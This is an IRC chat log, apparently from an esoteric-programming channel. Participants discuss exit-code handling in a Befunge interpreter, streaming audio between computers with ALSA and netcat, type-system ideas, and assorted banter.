00:00:31 <Gregor> DO NOT EAT
00:00:51 <AnMaster> fizzie, hm
00:01:12 <fizzie> It's a low-effort thing to try out, though, given that it's just two commands basically, and a single mixer change.
00:01:14 <AnMaster> fizzie, would be a PITA to change system a to use jack or system b to use pulseaudio though
00:01:15 <AnMaster> :(
00:01:50 <AnMaster> Deewiant, well what is the bug then?
00:01:57 <AnMaster> Deewiant, I fixed this off by one error here
00:02:00 <fizzie> Well, it could work. And if it doesn't work out of the box, you might be able to use those arecord command line flags to make it better.
00:02:07 <AnMaster> Deewiant, I might be going to sleep soon
00:02:28 <AnMaster> fizzie, waiting for Deewiant to describe the bug first
00:02:47 <Deewiant> AnMaster: While I'm verifying this: are you going to do anything about the negative argument to q with efunge?
00:02:59 <AnMaster> Deewiant, what does efunge do with that?
00:03:02 <AnMaster> I'm interested
00:03:07 <AnMaster> but haven't tested yet
00:03:07 <Deewiant> (no error logger present) error: "Error in process <0.0.0> with exit value: {badarg,[{erlang,halt,[-34]},{init,do_stop,2}]}\n"
00:03:18 <AnMaster> Deewiant, I argue that it is probably undefined
00:03:25 <AnMaster> and that I might or might not do anything about it
00:03:32 <Deewiant> I argue that such behaviour is a pain in the butt ;-P
00:03:47 <AnMaster> Deewiant, I argue that no one sane would use a negative argument to q
00:03:59 <AnMaster> since, well, it is unlikely to be useful
00:04:00 <Deewiant> It can happen by accident
00:04:04 <AnMaster> the OS won't support it
00:04:10 <AnMaster> Deewiant, then the user finds it easily
00:04:11 <Deewiant> And of course it's done on purpose as well
00:04:16 <Deewiant> People do "return -1" and the like
00:04:16 <AnMaster> Deewiant, oh?
00:04:19 <Deewiant> Even in C
00:04:21 <AnMaster> not to an OS
00:04:33 <Deewiant> It's equivalent
00:04:38 <AnMaster> Deewiant, what am I supposed to do with it? take absolute value?
00:04:45 <AnMaster> that is about the only thing I'm prepared to do
00:05:00 <AnMaster> I'm not going to emulated unsigned 8 bit
00:05:01 <Deewiant> Presumably the docs will say what range of values it should take, and most likely the correct solution is mod 256 or something
00:05:13 <AnMaster> Deewiant, mod 256 will yeild -1
00:05:14 <AnMaster> :D
00:05:17 <AnMaster> well it is rem
00:05:44 <AnMaster> stop(Status) -> void()
00:05:44 <AnMaster> Types Status = int()>=0 | string()
00:05:45 <AnMaster> btw
00:05:47 <Ilari> Ah, I figured out why ALSA wasn't working: user 'Ilari' was not member of apporiate group. :-/
00:05:48 <AnMaster> from erlang docs
00:06:16 <AnMaster> Deewiant, what I can do is: leave it as it is, take absolute value, truncate it to 0
00:06:39 <AnMaster> Deewiant, unless you can point me to where in the 98 specs it says I should take modulo and mess around with emulating unsigned 8 bit
00:06:45 <Sgeo> o.O There's only one actual instruction in the Wireworld Computer?
00:07:01 <Deewiant> AnMaster: I'm just saying that getting an error which I can't even ^C out of easily is a pain in the ass
00:07:06 <Deewiant> My recommendation is absolute value
00:07:10 <AnMaster> Deewiant, doube ^C works
00:07:13 <AnMaster> most likely
00:07:34 <AnMaster> Deewiant, ^C in general doesn't work the way you prefer in erlang I suspect
00:10:15 <Deewiant> Verified that other issue: Mycology bug, not interpreter.
00:10:38 <AnMaster> Deewiant, arguably the negative argument to q *is* undefined though. And silently ignoring that is doing more bad than good
00:10:55 <AnMaster> Deewiant, causing possibly hard to debug issues
00:11:14 <Deewiant> I think that when you're doing q you're at the point where you just want to quit and don't care about errors :-P
00:11:53 <Deewiant> Even Java's System.exit doesn't throw InvalidParameterException ;-P
00:12:04 <AnMaster> Deewiant, well what if someone implements /usr/bin/test in befunge?
00:12:11 <AnMaster> then you *care* about exit code
00:12:29 <Deewiant> Yes, and you should be careful to get it right
00:12:37 <AnMaster> Deewiant, indeed
00:12:43 <Deewiant> But that's a bad example since it's really trivial: 0 or 1
00:12:49 <AnMaster> then you don't want your system to silently swallow the error code
00:12:54 <AnMaster> Deewiant, okay what about fsck then
00:13:00 <AnMaster> that has highly complicated error codes iirc
00:13:01 <Deewiant> I don't know ~anything about fsck.
00:13:15 <Deewiant> If you're writing fsck in Befunge you have other problems ;-P
00:13:30 <AnMaster> Deewiant, "The exit code returned by fsck is the sum of the following conditions: <list truncated from irc>"
00:13:31 <AnMaster> but
00:13:40 <AnMaster> basically a bitmask
00:13:55 <AnMaster> considering the values are 1 2 4 8 and so on
00:16:10 <AnMaster> Deewiant, anyway I think truncating to 0 is more DS9K and thus should be preferred
00:16:41 <AnMaster> (arguably efunge does have some DS9K traits, such as bignum in a language where that is not common)
00:16:48 <AnMaster> (it used to have i without o)
00:17:23 -!- FireFly has quit (Quit: Leaving).
00:18:37 <AnMaster> Deewiant, btw does ccbi run on vxworks?
00:18:42 <Deewiant> vxworks?
00:18:45 <AnMaster> yes
00:18:47 <Deewiant> What's that
00:19:00 <AnMaster> http://en.wikipedia.org/wiki/VxWorks
00:20:05 <Deewiant> The libraries it depends on don't
00:20:27 <AnMaster> Deewiant, iirc there is a (commerical only(?)) port of erlang to it
00:20:41 <AnMaster> I don't know if efunge would run of it though
00:23:09 <AnMaster> Deewiant, anyway it is likely some embedded controllers around you run vxworks
00:26:17 <AnMaster> Deewiant, I *might* make efunge print a warning for negative parameters
00:26:18 <AnMaster> or such
00:26:51 <AnMaster> Deewiant, perhaps clear screen, print drawing, enter line drawing mode, exit(0)?
00:26:52 <AnMaster> ;P
00:27:10 <Deewiant> >_<
00:28:15 -!- kar8nga has quit (Remote host closed the connection).
00:28:26 <AnMaster> Deewiant, or, maybe we should block everything but SIGKILL? and if root mount an nfs mount, launch a DDoS on the server, and then try to read something from it
00:28:51 <AnMaster> (that will put it in uninterpretable sleep)
00:29:16 <AnMaster> Deewiant, haha
00:30:54 <AnMaster> Deewiant, pushed behaviour change for efunge
00:31:19 <AnMaster> cache effects might apply
00:32:34 <AnMaster> fizzie, I can't do the http://alsa.opensrc.org/index.php/Network stuff
00:32:40 <AnMaster> there is no capture source control
00:32:44 <AnMaster> on the system I want to forward from
00:32:57 <AnMaster> there is only on the system I want to forward to
00:34:38 <fizzie> That's curious. Though the mixer controls are horribly divergent across systems.
00:37:22 <fizzie> You should be able to do some .asoundrc trickery, though.
00:38:24 <fizzie> There's this "loopback soundcard" alsa module, http://www.alsa-project.org/main/index.php/Matrix:Module-aloop
00:38:59 <fizzie> You should be able to use that, and have your game use one end of it for output, and arecord on the other end for feeding netcat.
00:39:25 <fizzie> http://dev.inzenet.org/~panard/hack_record_hda_sound also has some example bits, though it looks awfully complicated and uncommented.
00:41:22 <fizzie> It's also borderline possible that the very simple "dummy" soundcard actually would support the capture-mixer thing.
00:41:38 -!- augur has quit (Ping timeout: 246 seconds).
00:43:01 <fizzie> Yes, it might just work.
00:43:27 <fizzie> At least it's got the exact same capture and playback controls.
00:43:46 <fizzie> I could try playing something to the dummy soundcard and seeing if I can record it.
00:47:29 <fizzie> Strange, it records noisy bursts of sound every 0.1 seconds, and silence for the most part. Heh, I wonder what's up with that.
00:50:02 <fizzie> Apparently it just drops what's written and generates (mostly) zeroes out.
00:52:38 <AnMaster> hm
00:52:52 <AnMaster> <fizzie> http://dev.inzenet.org/~panard/hack_record_hda_sound also has some example bits, though it looks awfully complicated and uncommented.
00:52:59 <AnMaster> I think it is intel hda
00:53:27 <fizzie> Most motherboard-integrated things are, though even the actual HDA chipsets differ.
00:53:45 <AnMaster> yes indeed they do
00:54:04 <fizzie> I don't seem to have the mixer-recording thing on this box either, though I seem to recall there was.
00:55:19 <fizzie> And also (assuming the card does full-duplex right) there's the ridiculously low-tech way of looping back the line out to line in. :p
00:56:04 <fizzie> You could check out the file plugin reference at http://alsa-project.org/alsa-doc/alsa-lib/pcm_plugins.html (pretty far down on the list).
00:56:32 <fizzie> It can even pipe directly into a shell command.
00:56:44 <fizzie> That should have less latency than trying to involve recording with arecord.
01:00:56 <fizzie> See for example Audacity's docs about it, http://wiki.audacityteam.org/wiki/Recording_audio_playing_on_the_computer#Using_the_ALSA_PCM_file
01:01:24 <AnMaster> mhm
01:02:19 <fizzie> Actually there even seems to be a "file" device.
01:02:26 <fizzie> "File device
01:02:27 <fizzie> The file device is file plugin with null plugin as slave. The arguments (in order: FILE,FORMAT) specify filename and file format.
01:02:27 <fizzie> Example:
01:02:27 <fizzie> file:'/tmp/out.raw',raw
01:02:27 <fizzie> "
01:04:05 <fizzie> mplayer -ao alsa:device="file='testfile.raw',raw" testfile.wav seems to do a sensible thing, at least based on file sizes.
01:04:32 <fizzie> (That = there after "file" is just mplayer's stupidity, you have to write the : as a = so that it won't interpret it as a parameter change.)
01:04:35 -!- augur has joined.
01:05:30 <fizzie> So in theory you should be able to just use file:'|/bin/nc -u server port',raw as the ALSA "device" specifier string for your game, without fiddling with any config files or anything.
01:05:59 <fizzie> Of course then you'll need to specify sample rates and types and so on on the listening side.
01:06:02 <AnMaster> fizzie, well I wanted the whole system sound
01:06:08 <AnMaster> not just a single game
01:06:20 <AnMaster> game was the primary example of programs in question
01:06:55 <AnMaster> if the built in sound wasn't so bad, and if I had a suitable cable, I could just feed one computer's line out into the line-in on the next
01:06:59 <fizzie> Well, then you can use the example given in http://wiki.audacityteam.org/wiki/Recording_audio_playing_on_the_computer#Using_the_ALSA_PCM_file as "set the teeraw device as your default device with something like".
01:07:16 <AnMaster> hah
01:07:32 <fizzie> Or maybe the final example there as a full setup.
01:07:41 <fizzie> It even has a command-piping thing.
01:08:08 <AnMaster> mhm
01:08:34 <AnMaster> actually setting up jack on that ubuntu system might be *less* of a PITA XD
01:09:58 <AnMaster> fizzie, what would I use on the listening side then? same as the original?
01:10:23 -!- augur has quit (Ping timeout: 265 seconds).
01:10:34 <fizzie> Well... I'm not really an ALSA expert, but if you use an .asoundrc as something like http://pastebin.com/NfALSAK8 -- with the format "wav" thing -- you should be able to use the original nc | aplay thing.
01:11:20 <fizzie> That should catch anything that's written using ALSA to the "default" PCM device. It might not catch programs that use the OSS-dsp emulation thing. And it might not work at all.
01:11:33 <AnMaster> fizzie, how does that interact with that pulseaudio is in use on that computer?
01:12:14 <fizzie> I know even less about pulse, but I guess it uses alsa libs to interact with the underlying hardware, and therefore might work.
01:12:29 <AnMaster> fizzie, it uses alsa to capture things then send it back to alsa
01:12:36 <AnMaster> basically ALSA-directly-apps
01:12:37 <AnMaster> end up
01:12:38 <AnMaster> like
01:12:49 <AnMaster> ->ALSA->pulse->ALSA
01:13:20 <fizzie> It could get confused, I don't know. Pulse has that own networking thing too, but then you'd need pulseaudio also on the receiving side.
01:13:46 <AnMaster> yes
01:13:53 <fizzie> Possibly it might be better to not set that "pipe-to-network" device as the default pcm one, but instead configure pulse to feed things into it.
01:13:58 <AnMaster> fizzie, and the receiving side uses jack/pure-ALSA
01:14:41 <fizzie> I'm also a bit concerned about what the "netcat | aplay" will do on the receiving side if the sample rates on the sending side change.
01:14:51 <AnMaster> fizzie, ouch indeed
01:15:21 <fizzie> Doing it fiddling like this is a bit awkwardly manual. If you seriously want all the sound, and keep it set up semi-permanently, I might go with the "just set up jack on Ubuntu too and use netjack" solution.
01:15:48 <AnMaster> fizzie, jack isn't really suitable for my laptop in *normal* use
01:16:21 <AnMaster> fizzie, anyway I could use jack alongside pure alsa without problems on my desktop, it has hardware mixer
01:16:25 <AnMaster> since it has an sb live
01:17:11 <AnMaster> fizzie, and yes this is semi-permanently as in, it will be used a lot but not all the time
01:17:39 <fizzie> If you configure jack to only have the into-network thing, no "actual" direct-sound use at all... well, I'm not sure how to make the rest of the system use that, then.
01:17:49 <fizzie> I think I'll need some sleep now.
01:18:43 <AnMaster> mhm
01:18:48 <AnMaster> thanks for your help
01:22:07 <fizzie> I wanted to have a setup like this for my laptop too, but (since it runs OS X most of the time) I finally gave up and just bought that USB digital-output sound-stick I mentioned, and connect it to the front panel inputs of the amplifier when necessary. (The alternative would've been to feed the digital audio over LAN to one of these Real Computers that are permanently hooked to the amplifier.)
01:22:22 <fizzie> Networked audio seems to be a bit nontrivial.
01:22:27 <fizzie> (Away now for real, night.)
01:23:54 <oklopol> night
01:56:47 -!- Tritonio_GR has quit (Read error: Connection reset by peer).
02:28:22 -!- coppro has quit (Ping timeout: 264 seconds).
02:45:48 -!- coppro has joined.
02:47:47 -!- augur has joined.
02:52:55 -!- augur has quit (Ping timeout: 246 seconds).
02:57:34 -!- augur has joined.
03:01:58 -!- coppro has quit (Quit: I am leaving. You are about to explode.).
03:02:28 -!- coppro has joined.
03:11:35 -!- Gracenotes has joined.
03:37:34 -!- Asztal has quit (Quit: .).
04:15:24 * coppro tries to think of a full version of his language that isn't overly influenced by Haskell
04:15:35 <pikhq> Antiskell.
04:15:47 <pikhq> Every decision made by Haskell, it chooses the opposite.
04:16:09 <pikhq> Unicode support? Nah, we're going for binary coded decimal EBDIC
04:16:38 <pikhq> (yes, the EBDIC is encoded into decimal, which is then binary coded.)
04:16:58 <pikhq> Strict typing? Nah. We're going for /dev/urandom typing.
04:17:22 <pikhq> And every statement is implicitly wrapped in unsafePerformIO.
04:17:52 <coppro> lol
04:18:00 <coppro> did you catch my idea earlier?
04:18:10 <pikhq> Except for the ones that are implicitly wrapped in unsafePerformIO . unsafeIntersperseIO . return
04:18:18 <pikhq> Nah.
04:18:50 <coppro> basically, rather than pure types, there's "datapacks"
04:19:29 * Sgeo wants Antiskell to become real
04:19:46 <Sgeo> Although obviously, it can't be a perfect opposite
04:20:16 <Sgeo> Otherwise, it would not be TC, and would not be able to do any IO, contrary to pikhq's earlier statements
04:20:22 <coppro> upi
04:20:25 <Sgeo> Hm, I think "opposite" is ill-defined
04:20:27 <Sgeo> upi?
04:20:33 <coppro> you'd need an anticomputer for that.
04:21:11 <pikhq> Sgeo: There is no requirement for unsafePerformIO to do much.
04:22:15 <pikhq> In fact, I suggest that all statements except for undefined be equivalent to bottom.
04:22:23 <coppro> sorry
04:22:25 <pikhq> Except in confusing circumstances.
04:22:39 <coppro> my father needed to ask me a question
04:23:08 <Sgeo> Can Antihaskell solve the halting problem?
04:23:12 <coppro> anyway, instead of types, there's "datapacks". All UDTs are actually datapacks.
04:24:07 <pikhq> Sgeo: GHC can, so Antiskell cannot.
04:24:09 <coppro> a given value can possess any number of datapacks; the union of the packs it has could be said to represent its actual type. Some datapacks could require other datapacks to exist on the type (*coughinheritancecough*)
04:24:09 <pikhq> :P
04:24:18 <Sgeo> pikhq, wait what?
04:24:43 <pikhq> Sgeo: Just a joke. Compile "main = main". ;)
04:25:13 <Sgeo> Too lazy to bother, I take it the compiler sees that somehow?
04:25:25 * coppro feels ignored
04:25:52 <pikhq> It results in an error. "infinite loop" or some such.
04:26:51 <coppro> ping
04:27:29 <pikhq> GNIP
04:27:53 <coppro> okay, so that's working
04:27:57 <Sgeo> Dangit
04:28:02 * coppro tries to investigate other causes of not being listened to
04:28:30 <Sgeo> The best thing to do when someone pings is to ignore that >.> [Ok, so I was being mean]
04:28:58 <Sgeo> So basically values have multiple types?
04:29:02 <coppro> yeah
04:43:25 <coppro> ugh, sorry, I got distracted again
04:44:17 <coppro> There would also be "type patterns" which could be used to match against types; e.g. {Int~Nil} means "Int
04:44:26 <coppro> *means "Int or Nil, but not both"
04:44:34 <coppro> and would be the implementation of a nullable value
04:45:06 <Sgeo> Hm
04:45:10 <Sgeo> Interesting
04:46:35 <coppro> {Int|Nil} or {Int&Nil} could probably also exist (I may choose to add a way to make datapacks mutually exclusive), but, by convention, would be pretty useless
04:46:42 <coppro> Ideally type inference would drive a lot of the system
04:49:51 <coppro> The real power, though, is in expressing reality better than most languages
04:50:36 * Sgeo wonders how you manipulate an Int+String
04:50:50 <coppro> Sgeo: it would have both an int value and a string value independently
04:51:09 <Sgeo> Ah
04:51:27 <coppro> geek example: A Magic card has a type; each type has a list of allowable subtypes for that type
04:51:59 <coppro> a Magic card may have multiple types
04:52:38 * Sgeo misunderstood "Magic card" for a second
04:53:02 * Sgeo points out "for a second" before coppro or anyone else elaborates about Magic
04:53:12 -!- oerjan has joined.
04:53:13 <coppro> huh?
04:53:17 <coppro> I assume you understand now
04:53:37 <pikhq> 私 見今 Oerjan !
04:53:47 <coppro> so you'd express this by creating a datapack for each list of subtypes, and then add these to the card value. Since they aren't mutually exclusive, you can have as many as you like
04:53:52 <pikhq> 正 今, too!
04:54:26 <oerjan> i am not a friend of people who greet me with unicode
04:54:34 <pikhq> Hah.
04:54:42 <pikhq> 今日, Oerjan. How are 前?
04:54:57 <oerjan> it looks like question marks.
04:56:27 <pikhq> Oh 本当?
04:57:09 <coppro> any thoughts about my idea?
04:57:22 <oerjan> pikhq, almost _no one_ here understands japanese. showing it off all the time is just annoying.
04:58:05 <oerjan> (even if i could see it properly.)
04:58:28 <pikhq> Hrm. When was the last time I used code-points out of ASCII in this room, anyways?
04:58:40 <coppro> 2 minutes 2 seconds ago
04:58:51 <pikhq> coppro: Before oerjan just entered.
04:58:59 <coppro> dunno
04:59:07 <coppro> last week I think?
04:59:35 <coppro> please ping me with any comments you may have; it's webcomic time
05:00:48 <pikhq> oerjan: Also. Sorry. I've been cramming kanji for the past couple months. And for some reason, I felt like using kanji in English. I'm going to blame my lack of sleep for that...
05:01:16 <oerjan> i'll blame my current grumpiness, then :)
05:01:27 <oerjan> *y?
05:03:00 <pikhq> Now, for random characters: 亜sdtf日小田鵜fhgpqeかsfqwさkじょ9tqぁsづてょdヴい
05:09:03 <oerjan> <coppro> in other words, a value can possess multiple types at once <-- they're called intersection types iirc. they were important for fundamental lambda calculus in a book i looked in (barendregt?)
05:10:03 * Sgeo wonders if he can use a cryonics article for his psychology assignmnet
05:10:22 <oerjan> if you have intersection types + a special "catch-all" type omega, then you have a simple type system in which all normalizable lambda expressions can be typed, iirc
05:10:52 <oerjan> without omega, you need strongly normalizable, iirc
05:11:54 <oerjan> oh and omega can occur only on the left side of -> or something, so things don't get to use just it for trivial typing
05:13:56 <coppro> oerjan: thanks for the name
05:14:35 <oerjan> hm i think the types may even have been preserved under reduction, both ways
05:14:54 <coppro> I don't see much that looks like a useful language with them though
05:15:39 <oerjan> coppro: higher order functions, if you use a polymorphic function on two different types
05:16:38 <coppro> oerjan: that's a special case
05:16:46 <coppro> as in, doesn't apply to all types
05:17:15 <oerjan> but they're probably not practical, type inference is probably impossible and forall types with type variables like in haskell/ML are more practical
05:18:17 <coppro> most of what I see intersection types used for is type inference
05:18:44 <coppro> and what I'd be doing is more like type unionization
05:20:44 -!- augur has quit (Ping timeout: 265 seconds).
05:20:52 <oerjan> oh well
05:33:26 <coppro> oerjan: ?
05:35:51 <oerjan> !
05:36:00 <coppro> [22:20:28]<oerjan>oh well
05:36:42 <oerjan> coppro: that was intended as a "conversation over" mark :P
05:36:49 <coppro> ah
05:37:26 <coppro> ugh, it's that time of night again
05:37:39 <oerjan> oh no, not the vampires
05:38:10 <coppro> where I really should go to bed, but I don't
05:39:02 <coppro> worse, I have an excuse
05:39:30 <oerjan> the bed is haunted!
05:39:53 <coppro> Today's Hansard isn't out yet
05:40:55 <oerjan> a principled follower of the british parliament, i take
05:41:32 <oerjan> or would that be canada
05:42:53 <oerjan> "In one instance, during a Liberal filibuster in the Canadian Senate, Senator Philippe Gigantès was accused of reading one of his books only so that he could get the translation for free through the Hansard." :D
05:44:16 <coppro> Canadian in this case
05:44:41 <pikhq> That's... Beautiful.
05:48:22 -!- Oranjer has left (?).
06:06:27 <Gregor> http://xkcd.com/719/ I've never had any of these dreams :(
06:11:26 <pikhq> I've had few dreams that I can actually recall.
06:11:31 <oerjan> i don't have car dreams either. might have _something_ to do with the fact i don't drive :D
06:12:00 <oerjan> ok maybe an occasional dream as passenger
06:13:08 <oerjan> wait i _have_ dreamed about my teeth falling out D:
06:26:08 -!- pikhq has quit (Read error: Connection reset by peer).
06:38:14 -!- oerjan has quit (Quit: leaving).
06:47:47 -!- jcp has quit (Quit: I will do anything (almost) for a new router.).
07:14:15 -!- FireFly has joined.
07:34:22 <oklopol> "oerjan: pikhq, almost _no one_ here understands japanese. showing it off all the time is just annoying." <<< no it's not!
07:36:15 -!- coppro has quit (Remote host closed the connection).
07:36:50 -!- coppro has joined.
07:39:39 <oklopol> nowadays it's less common for me to roll all the time, what's more common is i jump or something and realize i'm not falling down, but just rising and rising hundreds of meters first
07:39:55 <oklopol> in dreams
07:40:18 <coppro> I generally don't remember my dreams
07:40:22 <oklopol> also i become lucid quite often, but i still haven't mastered not waking up almost instantly after
07:40:44 <coppro> all I can really remember is that they tend to be things I don't want to remember for one reason or another
07:40:54 <oklopol> i usually manage to have sex with someone for a few seconds, but then it fades away
07:41:08 <oklopol> why wouldn't you want to remember something
07:41:35 <coppro> I think it's that I'm really good at getting into really awkward situations in dreams
07:41:39 <coppro> can't quite remember
07:41:52 <oklopol> oh lol right
07:42:40 <coppro> Pretty sure it's not scariness though
07:43:44 <coppro> the few good dreams I ever remember are only even vaguely remembered because they're the ones I get woken up in the middle of
07:46:44 <coppro> ah, finally, Hansard's out
07:46:50 <coppro> then I can sleep
07:47:45 <oklopol> yay hansard
07:48:10 -!- myndzi\ has joined.
07:51:18 -!- myndzi has quit (Ping timeout: 260 seconds).
07:52:37 <coppro> ooh, an MP quoted MacBeth
07:54:15 -!- augur has joined.
07:59:59 -!- clog has quit (ended).
08:00:00 -!- clog has joined.
08:02:20 <coppro> man, this trade agreement with Colombia is causing quite a stir... 30 hours of debate already
08:02:37 <coppro> AFAICT it boils down to we should/shouldn't consort with the evils
08:02:47 -!- tombom has joined.
08:04:41 <oklopol> evil things are wrong
08:07:08 <coppro> the government says it hopes to encourage the Colombian government to clean up
08:07:13 <coppro> the whole debate is tl;dr
08:09:56 <coppro> ah, I love this country
08:09:59 <coppro> http://www.cbc.ca/canada/story/2010/03/25/prisoners-pensions025.html
08:10:21 <coppro> 25 life sentences and we still give him 13k a year
08:32:04 -!- BeholdMyGlory has joined.
08:51:49 -!- tombom has quit (Quit: Leaving).
09:00:18 -!- BeholdMyGlory has quit (Remote host closed the connection).
09:24:26 -!- FireFly has quit (Quit: Leaving).
09:40:12 -!- MigoMipo has joined.
09:53:02 -!- ais523 has joined.
09:53:11 -!- augur has quit (Read error: Connection reset by peer).
09:53:27 -!- augur has joined.
09:56:24 -!- MigoMipo has quit (Quit: Page closed).
10:47:16 -!- lereah_ has joined.
11:06:03 -!- augur has quit (Ping timeout: 240 seconds).
11:07:05 -!- augur has joined.
11:15:23 -!- Asztal has joined.
11:20:28 -!- augur has quit (Ping timeout: 268 seconds).
11:20:51 -!- augur has joined.
12:52:03 -!- Tritonio_GR has joined.
12:57:31 -!- Tritonio_GR has quit (Quit: Leaving.).
13:13:37 -!- augur has quit (Ping timeout: 264 seconds).
13:14:16 -!- augur has joined.
13:22:42 -!- FireFly has joined.
13:47:04 -!- Gracenotes has quit (Ping timeout: 246 seconds).
14:23:27 -!- fax has joined.
15:02:37 -!- coppro has quit (Quit: I am leaving. You are about to explode.).
15:48:06 -!- MigoMipo has joined.
15:53:38 -!- oerjan has joined.
16:06:02 -!- oklopol has quit (Ping timeout: 248 seconds).
16:09:18 -!- BeholdMyGlory has joined.
16:09:21 -!- BeholdMyGlory has quit (Changing host).
16:09:21 -!- BeholdMyGlory has joined.
16:35:49 -!- augur has quit (Ping timeout: 264 seconds).
16:46:03 -!- Oranjer has joined.
16:50:29 -!- lereah_ has quit (Quit: Leaving).
17:02:10 -!- MigoMipo has quit (Remote host closed the connection).
17:04:33 -!- MigoMipo has joined.
17:10:31 -!- kar8nga has joined.
17:24:10 -!- pikhq has joined.
17:25:10 <pikhq> Kikcking router in shins = WORKING!
17:25:19 <ais523> routers have shins?
17:25:29 <pikhq> Do now.
17:45:37 <ais523> `define mephitic
17:46:31 <HackEgo> * miasmic: of noxious stench from atmospheric pollution \ [15]wordnetweb.princeton.edu/perl/webwn \ * Avernus was an ancient name for a crater near Cumae (Cuma), Italy in the Region of Campania west of Naples. It is approximately 2 miles in circumference. Within the crater is Lake Avernus (Lago d'Averno).
18:00:52 -!- tombom has joined.
18:04:23 <AnMaster> <pikhq> Kikcking router in shins = WORKING! <-- wow
18:04:36 <AnMaster> pikhq, would that be in like the ethernet sockets?
18:05:16 <pikhq> Nah.
18:05:22 <pikhq> You let it grow legs.
18:05:29 <AnMaster> okay
18:05:32 <AnMaster> then ?
18:06:24 <AnMaster> pikhq, just kicking it?
18:06:30 <AnMaster> no more steps in between?!
18:06:47 <pikhq> Then you kick it.
18:06:49 <AnMaster> huh, I newer knew it was _that_ simple
18:11:04 -!- oerjan has quit (Quit: Reboot).
18:13:54 -!- oerjan has joined.
18:31:03 -!- ais523 has quit (Remote host closed the connection).
18:36:46 -!- Slereah has quit (Ping timeout: 240 seconds).
18:43:29 -!- Slereah has joined.
18:56:30 -!- Phantom_Hoover has joined.
18:58:22 <Phantom_Hoover> CURSE YOU, TIME ZONE DIFFERENCES!
18:59:32 <oerjan> oh no, you cursed the time zone differences!
18:59:47 <oerjan> i predict they will take a horrible revenge!
19:00:12 <oerjan> before this weekend is over, even!
19:00:15 -!- Sgeo_ has joined.
19:01:58 -!- Sgeo has quit (Ping timeout: 264 seconds).
19:06:42 -!- Gracenotes has joined.
19:08:41 * Sgeo_ loves when he randomly disconnects!
19:08:45 <Sgeo_> Love it love it love it!
19:09:06 -!- Sgeo_ has changed nick to Sgeo.
19:14:58 -!- sebbu2 has joined.
19:16:04 -!- sebbu has quit (Ping timeout: 246 seconds).
19:16:04 -!- sebbu2 has changed nick to sebbu.
19:29:06 -!- dixon has joined.
19:30:18 <Quadrescence> Hey Sgeo
19:30:23 <Sgeo> Hi
19:30:31 <Quadrescence> What's up?
19:30:54 <Sgeo> Not much
19:30:59 <Sgeo> Thinking about cryonics a bit
19:32:11 <Phantom_Hoover> What about it?
19:32:20 <dixon> That's... cool.
19:32:24 <Phantom_Hoover> It strikes me as far too faith-based.
19:33:09 <Quadrescence> The notion of freezing is faith-based?
19:33:47 <Phantom_Hoover> No, the notion that medical technology will be able to revive you.
19:34:16 <dixon> Hey, that's cold.
19:34:21 <dixon> Doctors are smart.
19:34:33 <pikhq> Yes, well. Faith IN TECHNOLOGY!
19:34:35 <pikhq> :P
19:34:43 <Phantom_Hoover> But dammit, they're doctors, not miracle workers!
19:35:01 <pikhq> Dammit Jim!
19:35:51 <oerjan> anyway, don't do it this way: http://www.darwinawards.com/personal/personal2000-25.html
19:36:26 <pikhq> Delicious, delicious cryonic nitrogen.
19:36:30 <Phantom_Hoover> Ah, the Darwin awards.
19:36:36 <Phantom_Hoover> A tale for every situation.
19:37:01 <Phantom_Hoover> Although it seems the character encoding doesn't work properly...
19:37:07 <oerjan> this one was on today's reddit frontpage
19:37:10 -!- wareya has quit (Ping timeout: 258 seconds).
19:52:10 * Sgeo wishes he never had to use Firefox
19:52:46 <AnMaster> <oerjan> before this weekend is over, even! <-- oh no
19:52:50 <AnMaster> the end of the world is near
19:52:58 * AnMaster stockpiles stuff
19:53:09 * Sgeo stockpiles AnMasters
19:53:14 <AnMaster> how?
19:53:18 <AnMaster> I mean, there is just one of me
19:53:33 <AnMaster> you can't stockpile anything that there is just one of
19:57:49 <oerjan> well, he could try folding you
20:02:34 -!- sebbu has quit (Ping timeout: 260 seconds).
20:03:06 -!- sebbu has joined.
20:04:51 <AnMaster> oerjan, eh?
20:05:05 <AnMaster> oerjan, how would that result in more than one of me?
20:07:21 <oerjan> always doubting are you
20:07:33 <fax> im just here to buy some soy sauce
20:08:15 * Sgeo hopes he can program despite using a trackpad
20:08:21 <Sgeo> Too lazy to sit up at the table next to my bed
20:09:15 <AnMaster> oerjan, yes!
20:09:46 <AnMaster> Sgeo, why do you need anything but a printer (alternatively a monitor) and a keyboard?
20:10:01 <oerjan> fax: old meme which i've never heard before is old
20:10:28 <Sgeo> Easy to move cursor for cut/paste
20:11:16 <oerjan> AnMaster: wait, you use a printer rather than a monitor?
20:11:43 <AnMaster> oerjan, no
20:11:48 <AnMaster> oerjan, did I say I did?
20:12:09 <oerjan> AnMaster: it was your first alternative, above
20:12:13 <AnMaster> Sgeo, mhm, I never found programming without a mouse to be a problem
20:12:36 -!- jcp has joined.
20:12:40 <AnMaster> oerjan, well yes. I wish I had one of those oldstyle hard copy terminals
20:12:42 * oerjan doesn't use a mouse. admittedly he doesn't program much either.
20:12:59 <AnMaster> oerjan, I use a mouse when image editing for example
20:13:10 <AnMaster> a trackpoint really isn't very good for that
20:13:16 <AnMaster> a touchpad even less so
20:13:29 <oerjan> mhm
20:13:41 <AnMaster> well, in general touchpad are useless I find
20:13:48 <AnMaster> trackpoint is fairly usable but a mouse is better
20:13:57 <AnMaster> but for programming I find I only use the keyboard
20:14:22 * oerjan recalls nearly 30 years ago, when my dad borrowed home such a terminal from the job
20:14:43 <AnMaster> wow, I would love to see one in "reality"
20:15:18 <oerjan> we connected to the mainframe via the phone, and used BASIC on it
20:15:27 <AnMaster> heh
20:15:44 <AnMaster> oerjan, I was rather thinking about connecting to something at MIT that ran lisp
20:16:42 <oerjan> i'm not sure if the internet had reached scandinavia yet...
20:17:29 <AnMaster> true
20:18:09 <AnMaster> oerjan, actually Norway was the first place in Europe (and iirc outside US too, but not completely sure about that) to get ARPANET
20:18:23 <oerjan> that does ring a bell
20:21:21 * pikhq rings a bell for Oerjan's skae
20:21:23 <pikhq> Sake, even.
20:22:07 * AnMaster rings a bell for pikhq's skate
20:22:53 * oerjan rings a bell for AnMaster's steak
20:23:23 * AnMaster stakes oerjan with a very pointed bell
20:23:31 <oerjan> ouch
20:23:58 <AnMaster> made of silver.
20:24:05 <oerjan> fancy
20:24:37 <AnMaster> oerjan, well, it offers both werewolf and vampire protection that way.
20:24:48 <oerjan> brains..
20:25:04 <AnMaster> hm what is effective against zombies?
20:25:24 * oerjan lurks toward AnMaster
20:25:28 * AnMaster gives oerjan some plush brains
20:25:38 <AnMaster> (says made in china on them)
